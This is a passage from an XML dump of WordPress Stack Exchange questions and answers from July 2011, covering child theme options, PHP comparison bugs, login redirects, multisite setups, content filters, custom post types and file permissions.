}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;Webeo_Option&lt;/code&gt; is just an object storage and could be replaced with &lt;code&gt;update_option()&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3817" LastEditorUserId="3817" LastEditorDisplayName="" LastEditDate="2011-07-08T18:08:44.463" LastActivityDate="2011-07-08T18:08:44.463" CommentCount="1" />
  <row Id="22427" PostTypeId="2" ParentId="22425" CreationDate="2011-07-08T17:32:58.143" Score="2" ViewCount="" Body="&lt;p&gt;You can, but currently it's not easy. You would have to override the existing code, and re-write it to extend it with your additional options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Start here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'admin_menu', 'twentyeleven_theme_options_add_page' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'd need to remove this action (in your Child Theme):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;remove_action( 'admin_menu', 'twentyeleven_theme_options_add_page' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, you would need to duplicate the &lt;code&gt;twentyeleven_theme_options_add_page()&lt;/code&gt; function in your Child Theme:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function twentyeleven_child_theme_options_add_page() {&#xA;    $theme_page = add_theme_page(&#xA;        __( 'Theme Options', 'twentyeleven' ), // Name of page&#xA;        __( 'Theme Options', 'twentyeleven' ), // Label in menu&#xA;        'edit_theme_options',                  // Capability required&#xA;        'theme_options',                       // Menu slug, used to uniquely identify the page&#xA;        'twentyeleven_child_theme_options_render_page'            // Function that renders the options page&#xA;    );&#xA;&#xA;    if ( ! $theme_page )&#xA;        return;&#xA;&#xA;    $help = '&amp;lt;p&amp;gt;' . __( 'Some themes provide customization options that are grouped together on a Theme Options screen. If you change themes, options may change or disappear, as they are theme-specific. Your current theme, Twenty Eleven, provides the following Theme Options:', 'twentyeleven' ) . '&amp;lt;/p&amp;gt;' .&#xA;            '&amp;lt;ol&amp;gt;' .&#xA;                '&amp;lt;li&amp;gt;' . __( '&amp;lt;strong&amp;gt;Color Scheme&amp;lt;/strong&amp;gt;: You can choose a color palette of &quot;Light&quot; (light background with dark text) or &quot;Dark&quot; (dark background with light text) for your site.', 'twentyeleven' ) . '&amp;lt;/li&amp;gt;' .&#xA;                '&amp;lt;li&amp;gt;' . __( '&amp;lt;strong&amp;gt;Link Color&amp;lt;/strong&amp;gt;: You can choose the color used for text links on your site. You can enter the HTML color or hex code, or you can choose visually by clicking the &quot;Select a Color&quot; button to pick from a color wheel.', 'twentyeleven' ) . '&amp;lt;/li&amp;gt;' .&#xA;                '&amp;lt;li&amp;gt;' . __( '&amp;lt;strong&amp;gt;Default Layout&amp;lt;/strong&amp;gt;: You can choose if you want your site&amp;amp;#8217;s default layout to have a sidebar on the left, the right, or not at all.', 'twentyeleven' ) . '&amp;lt;/li&amp;gt;' .&#xA;            '&amp;lt;/ol&amp;gt;' .&#xA;            '&amp;lt;p&amp;gt;' . __( 'Remember to click &quot;Save Changes&quot; to save any changes you have made to the theme options.', 'twentyeleven' ) . '&amp;lt;/p&amp;gt;' .&#xA;            '&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;' . __( 'For more information:', 'twentyeleven' ) . '&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;' .&#xA;            '&amp;lt;p&amp;gt;' . __( '&amp;lt;a href=&quot;http://codex.wordpress.org/Appearance_Theme_Options_Screen&quot; target=&quot;_blank&quot;&amp;gt;Documentation on Theme Options&amp;lt;/a&amp;gt;', 'twentyeleven' ) . '&amp;lt;/p&amp;gt;' .&#xA;            '&amp;lt;p&amp;gt;' . __( '&amp;lt;a href=&quot;http://wordpress.org/support/&quot; target=&quot;_blank&quot;&amp;gt;Support Forums&amp;lt;/a&amp;gt;', 'twentyeleven' ) . '&amp;lt;/p&amp;gt;';&#xA;&#xA;    add_contextual_help( $theme_page, $help );&#xA;}&#xA;add_action( 'admin_menu', 'twentyeleven_child_theme_options_add_page' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, you would need to duplicate the &lt;code&gt;theme_options_render_page()&lt;/code&gt; function in your Child Theme (e.g. as &lt;code&gt;twentyeleven_child_theme_options_render_page()&lt;/code&gt;), adding in your additional Theme options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that, hopefully, this will get much, &lt;em&gt;much&lt;/em&gt; easier in a future version of Twenty Eleven. I'm getting ready to submit a patch to convert that &lt;code&gt;theme_options_render_page()&lt;/code&gt; function to using &lt;code&gt;add_settings_section()&lt;/code&gt; and &lt;code&gt;add_settings_field()&lt;/code&gt; calls, rather than hard-coded table markup.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-08T17:32:58.143" />
  <row Id="22428" PostTypeId="2" ParentId="22416" CreationDate="2011-07-08T17:37:38.543" Score="0" ViewCount="" Body="&lt;p&gt;404 is failure to communicate with the server. So either your configuration is not complete for the new server (for ex: permalinks), or your server needs optimization. You could try checking the server error log or php error log first.&lt;/p&gt;&#xA;" OwnerUserId="6851" LastActivityDate="2011-07-08T17:37:38.543" CommentCount="1" />
  <row Id="22429" PostTypeId="1" CreationDate="2011-07-08T18:00:55.153" Score="0" ViewCount="30" Body="&lt;p&gt;Im trying to add some tabs to my wordpress page and I noticed im unable to bookmark and of the hashtag links generated. It always defaults to the first tab even when I link directly to another. Im using &lt;a href=&quot;http://benalman.com/code/projects/jquery-bbq/examples/fragment-jquery-ui-tabs/&quot; rel=&quot;nofollow&quot;&gt;http://benalman.com/code/projects/jquery-bbq/examples/fragment-jquery-ui-tabs/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm assuming it has something to do with wordpress's rewrite capabilities. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any Ideas? thanks&lt;/p&gt;&#xA;" OwnerUserId="6875" LastActivityDate="2011-07-08T18:00:55.153" Title="Using jquery ui tabs in wordpress with bbq-plugin" Tags="&lt;jquery-ui&gt;" />
  <row Id="22430" PostTypeId="2" ParentId="21998" CreationDate="2011-07-08T18:17:22.173" Score="0" ViewCount="" Body="&lt;p&gt;I finally figured this one out. Turns out I was so focused on filters and actions that I forgot about the basics.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to preserve any custom URL parameters after saving a post (via submitting the form) do the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Filter your admin URL with a conditional that checks for the parameter you want to preserve (&lt;a href=&quot;http://wordpress.stackexchange.com/questions/4618/preserve-custom-url-parameter-on-more-pages&quot;&gt;based on this answer&lt;/a&gt;), like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('admin_url','add_fullscreen_param');&#xA;function add_fullscreen_param( $link ) {&#xA;    if(isset($_REQUEST['fullscreen']) &amp;amp;&amp;amp; $_REQUEST['fullscreen'] == '1') {&#xA;        $params['fullscreen'] = '1';&#xA;    }&#xA;    $link = add_query_arg( $params, $link );&#xA;&#xA;    return $link;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, all you have to do is make sure you send that request along with your form, because it will activate the filter above prior to redirecting back to your post / page / custom post type. To do this, simply add a hidden input.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(isset($_REQUEST['fullscreen']) &amp;amp;&amp;amp; $_REQUEST['fullscreen'] == '1') {  &#xA;    echo('&amp;lt;input type=&quot;hidden&quot; name=&quot;fullscreen&quot; value=&quot;1&quot; /&amp;gt;');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So if you access &lt;code&gt;/wp-admin/post.php?post=100&amp;amp;action=edit&amp;amp;fullscreen=1&lt;/code&gt;, that last parameter will be there after saving the form.&lt;/p&gt;&#xA;" OwnerUserId="5552" LastActivityDate="2011-07-08T18:17:22.173" />
  <row Id="22431" PostTypeId="1" CreationDate="2011-07-08T18:20:43.743" Score="0" ViewCount="41" Body="&lt;p&gt;I need to know what is wrong with my if statement here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//EMAIL ADMIN BASED ON PROBLEM_TYPE&#xA;function new_post_creation_email() {&#xA;    global $post;&#xA;    $postid = $post-&amp;gt;ID;&#xA;    $problem_type = get_post_meta($postid, 'problem_type', true);&#xA;    $description = the_content();&#xA;    if ($problem_type = 'phones') {&#xA;        $to = '1st email here';&#xA;    }&#xA;    elseif ($problem_type = 'computers') {&#xA;        $to = '2nd email here';&#xA;    }&#xA;    else {&#xA;        $to = '3rd email here';&#xA;    }&#xA;    $subject = &quot;New Ticket in &quot; . get_post_meta($postid, 'problem_type', true);&#xA;    $message = &quot;A new ticket has been added.  Please login to view and print.&quot;;&#xA;&#xA;    wp_mail($to, $subject, $message);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Emails are correct in actual code&lt;/strong&gt;&#xA;Currently, the message sends but the same email arrives multiple times in my 1st email address, not the correct one.&lt;/p&gt;&#xA;" OwnerUserId="6871" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-07-08T19:20:26.497" LastActivityDate="2011-07-08T19:26:00.007" Title="If/elseif statement within wp_mail function" Tags="&lt;wp-mail&gt;" AnswerCount="1" />
  <row Id="22432" PostTypeId="1" CreationDate="2011-07-08T18:54:38.850" Score="0" ViewCount="46" Body="&lt;p&gt;As far as I know I haven't done anything, but I can no longer login in or use any part of the Dashboard of Wordpress because it redirects to &quot;account/login&quot; which shows up as &quot;Page not found&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a permission problem? Or is it something else?&lt;/p&gt;&#xA;" LastActivityDate="2011-08-09T17:32:19.203" Title="Can't login in to Wp-Admin; redirects to &quot;/account/login&quot;" Tags="&lt;untagged&gt;" AnswerCount="2" />
  <row Id="22433" PostTypeId="2" ParentId="22432" CreationDate="2011-07-08T18:57:17.100" Score="0" ViewCount="" Body="&lt;p&gt;Check to see if the wp-login.php file is missing or any of the login files in the wp-admin directory&lt;/p&gt;&#xA;" OwnerUserId="6878" LastActivityDate="2011-07-08T18:57:17.100" />
  <row Id="22434" PostTypeId="1" CreationDate="2011-07-08T18:59:16.897" Score="2" ViewCount="43" Body="&lt;p&gt;The practice of only supporting latest WP version seems popular in WP development circles, yet there is &lt;a href=&quot;http://wordpress.org/about/stats/&quot; rel=&quot;nofollow&quot;&gt;massive percentage of blogs running outdated versions&lt;/a&gt;. Not supporting those plugins seems it can lead to significantly less usage than if &lt;em&gt;(some)&lt;/em&gt; older versions are supported.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Support of older version comes with major issues, especially:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Complicated testing for multiple versions &lt;em&gt;(unit tests?);&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;No access to latest functionality or having to backport it;&lt;/li&gt;&#xA;&lt;li&gt;Incompatibilities of your code between WP versions &lt;em&gt;(works in one, breaks another);&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Wider hosting requirements range &lt;em&gt;(older PHP and MySQL versions, dropped by WP).&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;-&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;In your experienced had you ever had to support older WP versions in your code? &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Which organizational and technical practices had produced good results?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What type of code do you use to manage the multiple version support.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="847" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-07-08T19:19:28.010" LastActivityDate="2011-07-09T13:07:35.983" CommunityOwnedDate="2011-07-08T18:59:26.293" Title="Supporting older WordPress versions in a Plugin/Theme?" Tags="&lt;wordpress-version&gt;&lt;support&gt;" AnswerCount="4" CommentCount="0" />
  <row Id="22435" PostTypeId="2" ParentId="22434" CreationDate="2011-07-08T19:12:03.793" Score="2" ViewCount="" Body="&lt;p&gt;I think support for backwards-compatibility for at least one major WordPress version is reasonable, though there's also nothing wrong with requiring the current version. Some functionality just can't be implemented in a way that degrades gracefully (see e.g.: Post Formats).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are cases where 2 major versions might be necessary, but anything beyond that really starts to push the bounds of reason. The pace of WordPress development - not to mention, the pace of discovery/creation of new exploit vectors - is such that it is imperative, with respect to both functionality and security.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-08T19:12:03.793" CommunityOwnedDate="2011-07-08T19:12:03.793" />
  <row Id="22436" PostTypeId="1" CreationDate="2011-07-08T19:14:16.663" Score="0" ViewCount="27" Body="&lt;p&gt;I use the top level category plugin from &lt;a href=&quot;http://foliovision.com/seo-tools/wordpress/plugins/fv-top-level-categories&quot; rel=&quot;nofollow&quot;&gt;http://foliovision.com/seo-tools/wordpress/plugins/fv-top-level-categories&lt;/a&gt;&#xA;They do the job i want well by removing the category base. But I am not able to remove the parent category from it if the category is a child category. Any way to remove the parent category and use child category only in the permalinks.&lt;/p&gt;&#xA;" OwnerUserId="5823" LastActivityDate="2011-07-08T19:14:16.663" Title="wordpress category permalinks" Tags="&lt;permalinks&gt;" />
  <row Id="22437" PostTypeId="2" ParentId="22431" CreationDate="2011-07-08T19:22:52.940" Score="2" ViewCount="" Body="&lt;p&gt;This is problem with your PHP syntax, not WP. You are using assignment (&lt;code&gt;=&lt;/code&gt;) where you should be using comparison (&lt;code&gt;==&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( $problem_type = 'phones' )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;should really be this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( 'phones' == $problem_type )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And same for other condition.&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-07-08T19:26:00.007" LastActivityDate="2011-07-08T19:26:00.007" />
  <row Id="22438" PostTypeId="1" CreationDate="2011-07-08T19:33:50.497" Score="0" ViewCount="43" Body="&lt;p&gt;I use WordPress as a CMS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to show page instead of category when they have same slug.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I have category called &quot;vertical machining centers&quot; with the slug &quot;vertical-machining-centers&quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This category is ranking in the second page in google and I want to optimize more. So I create a page.. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So as you see the page and the category have the same slug.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I write www.xx.com/vertical-machining-centers , the category page is opening, I also check with it monkeyman-rewrite-analyzer it shows that category slug is higher rank. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to make wordpress to show the page instead of category when they have the same slug. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any plugin or any way to do that without writing code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks....&lt;/p&gt;&#xA;" OwnerUserId="6876" LastActivityDate="2011-08-14T18:23:53.763" Title="How to make pages slug have priority over any other taxonomies like custom-post, post or category" Tags="&lt;url-rewriting&gt;" AnswerCount="2" />
  <row Id="22439" PostTypeId="1" CreationDate="2011-07-08T19:39:38.387" Score="0" ViewCount="54" Body="&lt;p&gt;In wordpress, we allow google to index our category and tag pages. We don't use no-index for tag or categories, which results very high ranking in a lots of keywords and we are receiving very high traffic from google. We also use Wordpress SEO for SEO. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We don't have so many control on the content of category or tag because the content is creating by underlying posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I need to find a plug-in to create specific content in tag or category like following &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.youtube.com/watch?v=Hi3PZSDfRfQ&quot; rel=&quot;nofollow&quot;&gt;http://www.youtube.com/watch?v=Hi3PZSDfRfQ&lt;/a&gt; &#xA;&lt;a href=&quot;http://www.tizish.com/how-to-add-html-in-your-wordpress-category-introductory-content/&quot; rel=&quot;nofollow&quot;&gt;http://www.tizish.com/how-to-add-html-in-your-wordpress-category-introductory-content/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="6876" LastActivityDate="2011-08-12T07:22:37.953" Title="Introductory Content for Tags or Categories" Tags="&lt;categories&gt;&lt;tags&gt;&lt;content&gt;" AnswerCount="1" />
  <row Id="22440" PostTypeId="2" ParentId="22434" CreationDate="2011-07-08T19:40:15.550" Score="1" ViewCount="" Body="&lt;p&gt;WordPress is constantly being improved, I say create for the current version and leave the rest behind.&lt;/p&gt;&#xA;" OwnerUserId="6565" LastActivityDate="2011-07-08T19:40:15.550" CommunityOwnedDate="2011-07-08T19:40:15.550" />
  <row Id="22441" PostTypeId="2" ParentId="21661" CreationDate="2011-07-08T19:49:41.127" Score="2" ViewCount="" Body="&lt;ul&gt;&#xA;&lt;li&gt;You can expect to lose your site stats.&lt;/li&gt;&#xA;&lt;li&gt;You can expect your site to be harder to find.&lt;/li&gt;&#xA;&lt;li&gt;You can expect to have greater freedom in terms of customization and possible features.&lt;/li&gt;&#xA;&lt;li&gt;You can expect to have to upgrade your WordPress version periodically.&lt;/li&gt;&#xA;&lt;li&gt;You can expect less users commenting, as WordPress.com uses a social networking style bar that won't be on your normal WordPress blog.&lt;/li&gt;&#xA;&lt;li&gt;You can expect to pay money for a really good theme, if you so choose.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6565" LastActivityDate="2011-07-08T19:49:41.127" CommentCount="5" />
  <row Id="22442" PostTypeId="1" CreationDate="2011-07-08T18:30:01.053" Score="0" ViewCount="67" Body="&lt;p&gt;I've got two sites which are hosted on different servers.&#xA;1) domain-one.com&#xA;2) domain-two.net&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I installed a WordPress blog on site one at domain-one.com/blog/.&#xA;I want visitors of domain-two.net to be able to access the blog installed on site one via domain-two.net/blog/.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a WordPress plugin called &quot;Domain Theme&quot; that changes the look of the blog depending on the domain the visitor is accessing it from.&#xA;This plugin determines where the visitor is coming from via the $_SERVER['SERVER_NAME'] variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have an .htaccess file in domain-two.net/blog/ redirecting requests to domain-one.com/blog/.&#xA;Going to domain-two.net/blog/dog.php actually shows what's at domain-one.com/blog/dog.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, the Domain Theme plugin for WordPress can't tell when it's being accessed from domain-two.net because after the rewrite in .htaccess, the value of $_SERVER['SERVER_NAME'] is domain-one.com (not domain-two.net).&#xA;Because of this, I see the same theme when I access the blog from either domain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to redirect requests from domain-two.net that lets the plugin know where they're really coming from?&lt;/p&gt;&#xA;" LastActivityDate="2011-08-13T18:23:31.203" Title="1 WordPress, 2 themes, 2 domains, 2 servers" Tags="&lt;mod-rewrite&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="22443" PostTypeId="1" CreationDate="2011-07-08T02:46:13.853" Score="2" ViewCount="34" Body="&lt;p&gt;I need to setup a website with wordpress that 1 domain with have different pages of blogs. For example: &#xA;- my website have Home, Artworks, Techniques pages. &#xA;- Artworks and Techniques are 2 different blogs. &#xA;- Home will shows whichever posts that is latest from Artwork and Techniques.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do that with wordpress?? Thanks!&lt;/p&gt;&#xA;" LastActivityDate="2011-07-08T19:52:58.350" Title="Wordpress 1 domain multiple blogs" Tags="&lt;untagged&gt;" AnswerCount="3" />
  <row Id="22444" PostTypeId="2" ParentId="22443" CreationDate="2011-07-08T03:00:41.337" Score="2" ViewCount="" Body="&lt;p&gt;Your answer was solved many years ago then not long ago integrated into the current version of WordPress:  MU then Network/MultiSite.  You can read about creating a network at the &lt;a href=&quot;http://codex.wordpress.org/Create_A_Network&quot; rel=&quot;nofollow&quot;&gt;WordPress Codex&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7808" LastActivityDate="2011-07-08T11:35:34.100" CommentCount="1" />
  <row Id="22445" PostTypeId="2" ParentId="22443" CreationDate="2011-07-08T11:39:15.920" Score="2" ViewCount="" Body="&lt;p&gt;Just use different categories and link your &quot;blog&quot; to the category page.&lt;/p&gt;&#xA;" OwnerUserId="5906" LastActivityDate="2011-07-08T11:39:15.920" />
  <row Id="22446" PostTypeId="2" ParentId="22443" CreationDate="2011-07-08T19:52:58.350" Score="0" ViewCount="" Body="&lt;p&gt;If I'm understanding you correctly you just want to sort things into categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to make completely separate sites you can install WordPress into different directories and run them as subdomains.&lt;/p&gt;&#xA;" OwnerUserId="6565" LastActivityDate="2011-07-08T19:52:58.350" />
  <row Id="22447" PostTypeId="2" ParentId="22439" CreationDate="2011-07-08T19:56:44.020" Score="0" ViewCount="" Body="&lt;p&gt;You don't need a plugin for that. You have at &lt;em&gt;least&lt;/em&gt; two options:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Take advantage of the Category/Tag &lt;em&gt;description&lt;/em&gt; field, to create content to output either on a &lt;code&gt;category.php&lt;/code&gt;/&lt;code&gt;tag.php&lt;/code&gt; template file, or else in &lt;code&gt;archive.php&lt;/code&gt; or &lt;code&gt;index.php&lt;/code&gt; inside an &lt;code&gt;if ( is_category() )&lt;/code&gt;/&lt;code&gt;if ( is_tag() )&lt;/code&gt; conditional.&lt;/li&gt;&#xA;&lt;li&gt;If you really need to customize your &quot;introductory&quot; content, create &lt;code&gt;category-foo-bar.php&lt;/code&gt; template files, where&lt;code&gt;foo-bar&lt;/code&gt; corresponds to the category slug (i.e. for category &lt;em&gt;Foo Bar&lt;/em&gt;), and put in whatever content you need/want. Wash, rinse, and repeat for each category.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One other solution: add a Dynamic Sidebar (i.e. Widget area) to the top of your Category archive index, and then use Text Widgets (with conditional logic, e.g. via the Widget Logic Plugin) to add whatever &quot;introductory content&quot; you want to add.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-07-10T18:00:32.683" LastActivityDate="2011-07-10T18:00:32.683" CommentCount="6" />
  <row Id="22448" PostTypeId="2" ParentId="22268" CreationDate="2011-07-08T20:04:48.557" Score="2" ViewCount="" Body="&lt;p&gt;The problem was that I had this code in one of my theme admin pages:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (isset($_GET['download']))&#xA;    check_admin_referer('mytheme_options_storage');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which got triggered by the export request since that also sets $_GET['download'] var. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution I came up with was to make sure my check only ran when the relevant page was requested, and also I changed the variable to something unique:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (isset($_GET['mytheme_download']))&#xA;    check_admin_referer('mytheme_options_storage');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2071" LastActivityDate="2011-07-08T20:04:48.557" CommunityOwnedDate="2011-07-08T20:04:48.557" />
  <row Id="22449" PostTypeId="1" AcceptedAnswerId="22450" CreationDate="2011-07-08T20:23:05.353" Score="0" ViewCount="52" Body="&lt;p&gt;Is there a filter or hook that is triggered just before post content is rendered?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'd like to do is to apply a filter to the text content of a post just before the post text is being rendered.&lt;/p&gt;&#xA;" OwnerUserId="6616" LastActivityDate="2011-07-08T20:43:38.927" Title="Filter or Hook to catch pre-rendering of post content" Tags="&lt;filters&gt;&lt;hooks&gt;" AnswerCount="1" />
  <row Id="22450" PostTypeId="2" ParentId="22449" CreationDate="2011-07-08T20:43:38.927" Score="2" ViewCount="" Body="&lt;p&gt;Can you not simply use &lt;code&gt;the_content&lt;/code&gt; filter hook?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function mytheme_content_filter( $content ) {&#xA;     // Do stuff to $content, which contains the_content()&#xA;     // Then return it&#xA;     return $content;&#xA;}&#xA;add_filter( 'the_content', 'mytheme_content_filter' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-08T20:43:38.927" CommentCount="1" />
  <row Id="22452" PostTypeId="1" AcceptedAnswerId="22454" CreationDate="2011-07-08T22:15:44.430" Score="1" ViewCount="49" Body="&lt;p&gt;New to WP. I soon realized there are some files that need to be writable by the web server, otherwise various operations fail. Moreover, the lists seem to be different for different tasks. Not sure I'm in love with the concept, but okay, I'll work with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The trouble is, I can't figure out a simple way to determine which files / folders could be written to by the web server during the course of various actions. The documentation I've found seems either geared towards less technically-abled users (&quot;just enable everything!&quot;) or focused on very narrow aspects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody have the minimal lists of writable files for various operations, such as: uploading content, installing a plugin or a theme, upgrading WP (this one is easy: everything needs to be writable), etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="6573" LastActivityDate="2011-07-08T22:51:34.647" Title="List of files/folders writable by the web server?" Tags="&lt;filesystem&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="22453" PostTypeId="1" CreationDate="2011-07-08T22:31:58.583" Score="0" ViewCount="25" Body="&lt;p&gt;I have a custom post type set up with the following in my functions.php. The problem is that the post thumbnail box doesn't show up in the dashboard in the &quot;Talent&quot; section even after I specified &lt;code&gt;'supports' =&amp;gt; array('title','editor','thumbnail'),&lt;/code&gt;. Is there something I'm missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;add_theme_support( 'post-thumbnails', array( 'post' ) );&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Register Talents&#xA;add_action('init', 'register_talents');&#xA;&#xA;function register_talents() {&#xA;&#xA;    $labels = array(&#xA;        'name' =&amp;gt; _x('Talents', 'post type general name'),&#xA;        'singular_name' =&amp;gt; _x('Talent', 'post type singular name'),&#xA;        'add_new' =&amp;gt; _x('Add New', 'talent item'),&#xA;        'add_new_item' =&amp;gt; __('Add New Talent'),&#xA;        'edit_item' =&amp;gt; __('Edit Talent'),&#xA;        'new_item' =&amp;gt; __('New Talent'),&#xA;        'view_item' =&amp;gt; __('View Talent'),&#xA;        'search_items' =&amp;gt; __('Search Talents'),&#xA;        'not_found' =&amp;gt;  __('Nothing found'),&#xA;        'not_found_in_trash' =&amp;gt; __('Nothing found in Trash'),&#xA;        'parent_item_colon' =&amp;gt; ''&#xA;    );&#xA;&#xA;    $args = array(&#xA;        'labels' =&amp;gt; $labels,&#xA;        'public' =&amp;gt; true,&#xA;        'publicly_queryable' =&amp;gt; true,&#xA;        'show_ui' =&amp;gt; true,&#xA;        'query_var' =&amp;gt; true,&#xA;        'rewrite' =&amp;gt; true,&#xA;        'capability_type' =&amp;gt; 'post',&#xA;        'hierarchical' =&amp;gt; false,&#xA;        'menu_position' =&amp;gt; null,&#xA;        'menu_icon' =&amp;gt; get_stylesheet_directory_uri() . '/images/menu-talents.png',&#xA;        'supports' =&amp;gt; array('title','editor','thumbnail'),&#xA;        'has_archive' =&amp;gt; true&#xA;      );&#xA;&#xA;    register_post_type( 'talents' , $args );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6880" LastActivityDate="2011-08-08T13:49:43.633" Title="Trying to create a custom post type, post type box doesn't show up?" Tags="&lt;custom-post-types&gt;" AnswerCount="2" />
  <row Id="22454" PostTypeId="2" ParentId="22452" CreationDate="2011-07-08T22:51:34.647" Score="1" ViewCount="" Body="&lt;p&gt;The short answer is that you're correct... You don't want the web server (or web user) accounts to have full write access to your WordPress installation.  Your &lt;strong&gt;user account&lt;/strong&gt;, however, will need write permissions for the entire application because many of the WordPress features (such as automatic updates among others) require access to the core files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Codex article &lt;a href=&quot;http://codex.wordpress.org/Hardening_WordPress&quot; rel=&quot;nofollow&quot;&gt;Hardening WordPress&lt;/a&gt; has a section that specifically addresses your concerns called &lt;a href=&quot;http://codex.wordpress.org/Hardening_WordPress#File_permissions&quot; rel=&quot;nofollow&quot;&gt;File Permissions&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also checkout &lt;a href=&quot;http://codex.wordpress.org/Changing_File_Permissions&quot; 